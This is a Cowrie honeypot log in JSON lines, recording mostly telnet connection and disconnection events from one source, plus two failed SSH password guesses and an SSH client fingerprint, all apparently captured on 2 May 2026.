{"eventid":"cowrie.session.closed","duration":31.06282091140747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:20.217406Z","src_ip":"23.111.140.22","session":"738b9725a1cf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wadmin","password":"wadmin","message":"login attempt [wadmin/wadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:20.318911Z","src_ip":"202.145.0.61","session":"15fdae90ee04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.444778442382812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:20.538514Z","src_ip":"23.111.140.22","session":"8e1897f790a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61276125907898,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:21.085561Z","src_ip":"23.111.140.22","session":"d3c6b348908a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34980,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b55ee43ffd","protocol":"telnet","message":"New connection: 23.111.140.22:34980 (10.17.0.5:23) [session: 58b55ee43ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:21.405445Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:21.557233Z","src_ip":"202.145.0.61","session":"15fdae90ee04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36030,"dst_ip":"10.17.0.5","dst_port":23,"session":"101e933b31c1","protocol":"telnet","message":"New connection: 23.111.140.22:36030 (10.17.0.5:23) [session: 101e933b31c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:21.759790Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39834,"dst_ip":"10.17.0.5","dst_port":23,"session":"441ad617fb63","protocol":"telnet","message":"New connection: 23.111.140.22:39834 (10.17.0.5:23) [session: 441ad617fb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:22.018406Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40000,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac3cf0d424d","protocol":"telnet","message":"New connection: 23.111.140.22:40000 (10.17.0.5:23) [session: 6ac3cf0d424d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:22.051068Z"}
{"eventid":"cowrie.session.closed","duration":33.02171850204468,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:22.111643Z","src_ip":"23.111.140.22","session":"1fe011b99a58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37276,"dst_ip":"10.17.0.5","dst_port":23,"session":"1004162f93b0","protocol":"telnet","message":"New connection: 23.111.140.22:37276 (10.17.0.5:23) [session: 1004162f93b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:22.153776Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50672,"dst_ip":"10.17.0.5","dst_port":23,"session":"c905872c2ae0","protocol":"telnet","message":"New connection: 23.111.140.22:50672 (10.17.0.5:23) [session: c905872c2ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:22.437052Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41510,"dst_ip":"10.17.0.5","dst_port":23,"session":"f32396943340","protocol":"telnet","message":"New connection: 23.111.140.22:41510 (10.17.0.5:23) [session: f32396943340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:22.607116Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39460,"dst_ip":"10.17.0.5","dst_port":23,"session":"235505925ef7","protocol":"telnet","message":"New connection: 23.111.140.22:39460 (10.17.0.5:23) [session: 235505925ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:22.920486Z"}
{"eventid":"cowrie.session.closed","duration":30.72387671470642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:23.149242Z","src_ip":"23.111.140.22","session":"46495a145fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.179412603378296,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:23.260119Z","src_ip":"23.111.140.22","session":"d48be1c8a470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee9ca1e921fc","protocol":"telnet","message":"New connection: 23.111.140.22:49538 (10.17.0.5:23) [session: ee9ca1e921fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:23.268674Z"}
{"eventid":"cowrie.session.closed","duration":15.054667949676514,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:23.477602Z","src_ip":"23.111.140.22","session":"796e027d6c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88189363479614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:23.927805Z","src_ip":"23.111.140.22","session":"6030893ba690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.962998390197754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:25.030393Z","src_ip":"23.111.140.22","session":"f58f2d091547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49194,"dst_ip":"10.17.0.5","dst_port":23,"session":"02382061aa91","protocol":"telnet","message":"New connection: 23.111.140.22:49194 (10.17.0.5:23) [session: 02382061aa91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:25.058967Z"}
{"eventid":"cowrie.session.closed","duration":30.294772386550903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:25.069110Z","src_ip":"23.111.140.22","session":"67743c52c2b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":54424,"dst_ip":"10.17.0.5","dst_port":22,"session":"247dbf8e8329","protocol":"ssh","message":"New connection: 59.17.95.129:54424 (10.17.0.5:22) [session: 247dbf8e8329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:25.073451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:25.081488Z","src_ip":"59.17.95.129","session":"247dbf8e8329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:25.282102Z","src_ip":"59.17.95.129","session":"247dbf8e8329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.668684244155884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:25.734492Z","src_ip":"23.111.140.22","session":"2bc6ffd3724c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"3333","message":"login attempt [root/3333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:26.113878Z","src_ip":"59.17.95.129","session":"247dbf8e8329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44748,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce26c6bbf91","protocol":"telnet","message":"New connection: 23.111.140.22:44748 (10.17.0.5:23) [session: 2ce26c6bbf91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:26.626516Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:27.315529Z","src_ip":"59.17.95.129","session":"247dbf8e8329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.3420729637146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:27.416494Z","src_ip":"23.111.140.22","session":"7d6cd005e6c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37378978729248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:27.620855Z","src_ip":"23.111.140.22","session":"697bd37beb6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9088773727417,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:27.986582Z","src_ip":"23.111.140.22","session":"47c22d4a40ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55552,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7472c953a67","protocol":"telnet","message":"New connection: 23.111.140.22:55552 (10.17.0.5:23) [session: b7472c953a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:28.198675Z"}
{"eventid":"cowrie.session.closed","duration":31.271575927734375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:28.312567Z","src_ip":"23.111.140.22","session":"ef8b371ab0a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33040,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca66b89eef5f","protocol":"telnet","message":"New connection: 23.111.140.22:33040 (10.17.0.5:23) [session: ca66b89eef5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:29.093707Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59126,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc9cea33912e","protocol":"telnet","message":"New connection: 23.111.140.22:59126 (10.17.0.5:23) [session: bc9cea33912e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:29.432630Z"}
{"eventid":"cowrie.session.closed","duration":34.82822585105896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:29.786960Z","src_ip":"23.111.140.22","session":"75ab29b29e7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48266,"dst_ip":"159.203.135.109","dst_port":23,"session":"c87e4b9d8d4c","protocol":"telnet","message":"New connection: 174.138.46.234:48266 (159.203.135.109:23) [session: c87e4b9d8d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:29.839103Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35954,"dst_ip":"10.17.0.5","dst_port":23,"session":"0252e910f717","protocol":"telnet","message":"New connection: 23.111.140.22:35954 (10.17.0.5:23) [session: 0252e910f717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:30.068654Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48322,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fc9b599e418","protocol":"telnet","message":"New connection: 174.138.46.234:48322 (159.203.135.109:23) [session: 3fc9b599e418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:30.122703Z"}
{"eventid":"cowrie.session.closed","duration":30.99096941947937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:30.128537Z","src_ip":"23.111.140.22","session":"130ab34c1643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37277,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd7a6f424f18","protocol":"telnet","message":"New connection: 23.111.140.22:37277 (10.17.0.5:23) [session: dd7a6f424f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:30.574455Z"}
{"eventid":"cowrie.session.closed","duration":31.30508065223694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:30.882272Z","src_ip":"23.111.140.22","session":"3284f84bc41a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48282,"dst_ip":"159.203.135.109","dst_port":23,"session":"b381d7440c4b","protocol":"telnet","message":"New connection: 174.138.46.234:48282 (159.203.135.109:23) [session: b381d7440c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:30.922282Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48288,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed74e109b101","protocol":"telnet","message":"New connection: 174.138.46.234:48288 (159.203.135.109:23) [session: ed74e109b101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:30.926779Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38742,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2d864c4e30","protocol":"telnet","message":"New connection: 23.111.140.22:38742 (10.17.0.5:23) [session: 8b2d864c4e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.024477Z"}
{"eventid":"cowrie.session.closed","duration":30.637941598892212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.089806Z","src_ip":"23.111.140.22","session":"6a3f15574a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.64016819000244,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.094799Z","src_ip":"23.111.140.22","session":"aeae56b59ddd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975541353225708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.099821Z","src_ip":"23.111.140.22","session":"07cfe734edc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21065092086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.104481Z","src_ip":"23.111.140.22","session":"d7f25c030629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0137722492218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.218537Z","src_ip":"23.111.140.22","session":"e8085fe1dcb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10178542137146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.232389Z","src_ip":"23.111.140.22","session":"8ad9d05c0a30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.482065439224243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.264916Z","src_ip":"23.111.140.22","session":"a2143d4810bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39818,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e1e473dd81c","protocol":"telnet","message":"New connection: 23.111.140.22:39818 (10.17.0.5:23) [session: 3e1e473dd81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.458465Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40008,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7fcbecf659c","protocol":"telnet","message":"New connection: 23.111.140.22:40008 (10.17.0.5:23) [session: c7fcbecf659c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.518492Z"}
{"eventid":"cowrie.session.closed","duration":31.295167207717896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.526953Z","src_ip":"23.111.140.22","session":"033b5ebb6e78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40650,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ad04228f327","protocol":"telnet","message":"New connection: 23.111.140.22:40650 (10.17.0.5:23) [session: 3ad04228f327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.710202Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"20934f676cd0","protocol":"telnet","message":"New connection: 23.111.140.22:40788 (10.17.0.5:23) [session: 20934f676cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.737968Z"}
{"eventid":"cowrie.session.closed","duration":31.22243618965149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:31.855278Z","src_ip":"23.111.140.22","session":"8cb49ed69bc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729837894439697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.045645Z","src_ip":"23.111.140.22","session":"e74d335c4643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435255527496338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.050847Z","src_ip":"23.111.140.22","session":"ccb4719d0916","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75338578224182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.058767Z","src_ip":"23.111.140.22","session":"75f380a3cc85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45815348625183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.186313Z","src_ip":"23.111.140.22","session":"47bce6243ee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39280,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1b8d65bf359","protocol":"telnet","message":"New connection: 23.111.140.22:39280 (10.17.0.5:23) [session: f1b8d65bf359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.245250Z"}
{"eventid":"cowrie.session.closed","duration":31.1426100730896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.256181Z","src_ip":"23.111.140.22","session":"c6ecf3c269a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795218467712402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.282613Z","src_ip":"23.111.140.22","session":"0a4d4006278b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47054100036621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.414211Z","src_ip":"23.111.140.22","session":"d785012b531f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15620398521423,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.447716Z","src_ip":"23.111.140.22","session":"404e98be26da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08680582046509,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.452461Z","src_ip":"23.111.140.22","session":"1a1709262c3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34036,"dst_ip":"10.17.0.5","dst_port":23,"session":"97654bfb5bb1","protocol":"telnet","message":"New connection: 23.111.140.22:34036 (10.17.0.5:23) [session: 97654bfb5bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.514313Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43234,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd006f9cb48","protocol":"telnet","message":"New connection: 23.111.140.22:43234 (10.17.0.5:23) [session: 6dd006f9cb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.558101Z"}
{"eventid":"cowrie.session.closed","duration":33.921411991119385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.592552Z","src_ip":"23.111.140.22","session":"6e1489d25437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28262209892273,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.608938Z","src_ip":"23.111.140.22","session":"0fc519ace13e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.516366004943848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.795190Z","src_ip":"23.111.140.22","session":"fed34920f4db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.812540769577026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.943471Z","src_ip":"23.111.140.22","session":"13e9b527797f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.886000871658325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:32.979840Z","src_ip":"23.111.140.22","session":"0a99ec81398d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03032112121582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.050570Z","src_ip":"23.111.140.22","session":"63fd0b6d996c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45100,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a3e50a10701","protocol":"telnet","message":"New connection: 23.111.140.22:45100 (10.17.0.5:23) [session: 3a3e50a10701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.070340Z"}
{"eventid":"cowrie.session.closed","duration":30.56901240348816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:33.095197Z","src_ip":"23.111.140.22","session":"7287fab910f3","protocol":"telnet"}
